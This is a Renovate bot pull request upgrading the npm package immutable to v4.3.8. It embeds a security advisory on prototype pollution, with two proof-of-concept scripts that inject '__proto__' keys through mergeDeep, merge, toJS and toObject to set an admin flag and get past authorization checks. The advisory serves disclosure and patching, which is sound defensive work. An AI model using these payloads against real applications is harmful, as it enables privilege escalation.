Skip to content

fix(deps): update dependency immutable to v4.3.8 [security] - #3410

Open
renovate[bot] wants to merge 1 commit into
masterfrom
renovate/npm-immutable-vulnerability
Open

fix(deps): update dependency immutable to v4.3.8 [security]#3410
renovate[bot] wants to merge 1 commit into
masterfrom
renovate/npm-immutable-vulnerability

Conversation

@renovate

@renovate renovate Bot commented Aug 26, 2026

Copy link
Copy Markdown
Contributor

This PR contains the following updates:

Package Change Age Confidence
immutable (source) 4.0.04.3.8 age confidence

Immutable is vulnerable to Prototype Pollution

CVE-2026-29063 / GHSA-wf6x-7x77-mvgw

More information

Details

Impact

What kind of vulnerability is it? Who is impacted?

A Prototype Pollution is possible in immutable via the mergeDeep(), mergeDeepWith(), merge(), Map.toJS(), and Map.toObject() APIs.

Affected APIs
API Notes
mergeDeep(target, source) Iterates source keys via ObjectSeq, assigns merged[key]
mergeDeepWith(merger, target, source) Same code path
merge(target, source) Shallow variant, same assignment logic
Map.toJS() object[k] = v in toObject() with no __proto__ guard
Map.toObject() Same toObject() implementation
Map.mergeDeep(source) When source is converted to plain object
Patches

Has the problem been patched? What versions should users upgrade to?

major version patched version
3.x 3.8.3
4.x 4.3.7
5.x 5.1.5
Workarounds

Is there a way for users to fix or remediate the vulnerability without upgrading?

Proof of Concept
PoC 1 — mergeDeep privilege escalation
"use strict";
const { mergeDeep } = require("immutable"); // v5.1.4

// Simulates: app merges HTTP request body (JSON) into user profile
const userProfile = { id: 1, name: "Alice", role: "user" };
const requestBody = JSON.parse(
  '{"name":"Eve","__proto__":{"role":"admin","admin":true}}',
);

const merged = mergeDeep(userProfile, requestBody);

console.log("merged.name:", merged.name); // Eve   (updated correctly)
console.log("merged.role:", merged.role); // user  (own property wins)
console.log("merged.admin:", merged.admin); // true  ← INJECTED via __proto__!

// Common security checks — both bypassed:
const isAdminByFlag = (u) => u.admin === true;
const isAdminByRole = (u) => u.role === "admin";
console.log("isAdminByFlag:", isAdminByFlag(merged)); // true  ← BYPASSED!
console.log("isAdminByRole:", isAdminByRole(merged)); // false (own role=user wins)

// Stealthy: Object.keys() hides 'admin'
console.log("Object.keys:", Object.keys(merged)); // ['id', 'name', 'role']
// But property lookup reveals it:
console.log("merged.admin:", merged.admin); // true
PoC 2 — All affected APIs
"use strict";
const { mergeDeep, mergeDeepWith, merge, Map } = require("immutable");

const payload = JSON.parse('{"__proto__":{"admin":true,"role":"superadmin"}}');

// 1. mergeDeep
const r1 = mergeDeep({ user: "alice" }, payload);
console.log("mergeDeep admin:", r1.admin); // true

// 2. mergeDeepWith
const r2 = mergeDeepWith((a, b) => b, { user: "alice" }, payload);
console.log("mergeDeepWith admin:", r2.admin); // true

// 3. merge
const r3 = merge({ user: "alice" }, payload);
console.log("merge admin:", r3.admin); // true

// 4. Map.toJS() with __proto__ key
const m = Map({ user: "alice" }).set("__proto__", { admin: true });
const r4 = m.toJS();
console.log("toJS admin:", r4.admin); // true

// 5. Map.toObject() with __proto__ key
const m2 = Map({ user: "alice" }).set("__proto__", { admin: true });
const r5 = m2.toObject();
console.log("toObject admin:", r5.admin); // true

// 6. Nested path
const nested = JSON.parse('{"profile":{"__proto__":{"admin":true}}}');
const r6 = mergeDeep({ profile: { bio: "Hello" } }, nested);
console.log("nested admin:", r6.profile.admin); // true

// 7. Confirm NOT global
console.log("({}).admin:", {}.admin); // undefined (global safe)

Verified output against immutable@5.1.4:

mergeDeep admin: true
mergeDeepWith admin: true
merge admin: true
toJS admin: true
toObject admin: true
nested admin: true
({}).admin: undefined  ← global Object.prototype NOT polluted
References

Are there any links users can visit to find out more?

Severity

  • CVSS Score: 8.7 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Release Notes

immutable-js/immutable-js (immutable)

v4.3.8

Compare Source

Fix Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') in immutable

v4.3.7

Compare Source

v4.3.6

Compare Source

v4.3.5

Compare Source

v4.3.4

Compare Source

v4.3.3

Compare Source

v4.3.2

Compare Source

  • [TypeScript] Fix isOrderedSet type #​1948

v4.3.1

Compare Source

  • Faster and implementation of some #​1944
  • [internal] remove unused exports #​1928

v4.3.0

Compare Source

v4.2.4

Compare Source

v4.2.3

Compare Source

  • [TypeScript] groupBy return either a Map or an OrderedMap: make the type more precise than base Collection #​1924

v4.2.2

Compare Source

v4.2.1

Compare Source

  • [Typescript] rollback some of the change on toJS to avoir circular reference

v4.2.0

Compare Source

  • [TypeScript] Better type for toJS #​1917 by jdeniau
    • [TS Minor Break] tests are ran with TS > 4.5 only. It was tested with TS > 2.1 previously, but we want to level up TS types with recent features. TS 4.5 has been released more than one year before this release. If it does break your implementation (it might not), you should probably consider upgrading to the latest TS version.
  • Added a partition method to all containers #​1916 by johnw42

v4.1.0

Compare Source


Configuration

📅 Schedule: (UTC)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Enabled.

Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants